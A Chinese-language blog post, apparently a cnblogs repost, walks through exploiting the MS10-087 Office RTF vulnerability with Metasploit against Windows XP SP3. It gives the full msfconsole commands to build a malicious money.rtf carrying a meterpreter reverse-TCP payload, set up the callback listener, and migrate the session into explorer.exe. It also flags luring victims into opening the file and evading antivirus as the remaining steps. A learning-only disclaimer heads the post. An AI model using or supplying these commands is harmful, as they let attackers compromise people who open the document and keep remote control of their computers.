• MS10-087微软OFFICE漏洞【参考拿机模拟】


    声明:以下测试仅仅为了学习用途,模仿尝试与博主无关
    工  具:metasploit
    目标机:windows xp sp3 
    步骤:
    1、使用msf创建特殊代码的doc文档
    命令:
    msfconsole 进入metasploit控制台
    msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof   //调用ms10-087模块
    msf  exploit(ms10_087_rtf_pfragments_bof) > set PAYLOAD windows/meterpreter/reverse_tcp  //设定攻击载荷为反弹TCP连接会话
    msf  exploit(ms10_087_rtf_pfragments_bof) > set LHOST 192.168.1.129  //设置反弹连接目标IP
    msf  exploit(ms10_087_rtf_pfragments_bof) > set LPORT 8080                 //设置反弹连接目标端口号
    msf  exploit(ms10_087_rtf_pfragments_bof) > set FILENAME money.rtf     //创建的word文档名称为money.rtf,格式必须是rtf,一会儿我们再把它改名为.doc也是可以正常执行的。
    msf  exploit(ms10_087_rtf_pfragments_bof) > exploit     //生成带攻击代码的word文档

    2、渗透主机上开启msf监听80端口等待meterpreter的反弹会话
    命令:
    msf  exploit(ms10_087_rtf_pfragments_bof) > use exploit/multi/handler
    msf  exploit(handler) > set LHOST 192.168.1.129
    msf  exploit(handler) > set LPORT 8080
    msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    msf  exploit(handler) > exploit
     
    3、将文档放置到目标机并启动。(一旦用户打开该文档我们即可获得目标主机权限)
    【这一步是个难点:1.如何将文档引诱用户下载 2.如何对该文档免杀】
    需要注意的是对方一旦打开word文档看到没什么东西,关闭掉word文档的话我们的会话就断开了,所以应该在获得反弹后首先把反弹连接迁移到一个不容易被用户关闭的进程中去
    PS 查看目标主机进程,我们可以使用explorer.exe ,查看其PID
     
    4、执行:migrate explorer进程ID
     
    参考http://blog.sina.com.cn/s/blog_4c86552f0102wlao.html
  • 相关阅读:
    python uuid
    linux 修改时区
    Nginx 缓存命中率
    MongoDB oplog 详解
    MongoDB 复本集搭建
    复制集简介
    解决Python2.7的UnicodeEncodeError: 'ascii' codec can't encode异常错误
    MongoDB 介绍
    python virtualenv
    Docker Compose 模板文件 V2
  • 原文地址:https://www.cnblogs.com/A--Q/p/6243069.html
Copyright © 2020-2023  润新知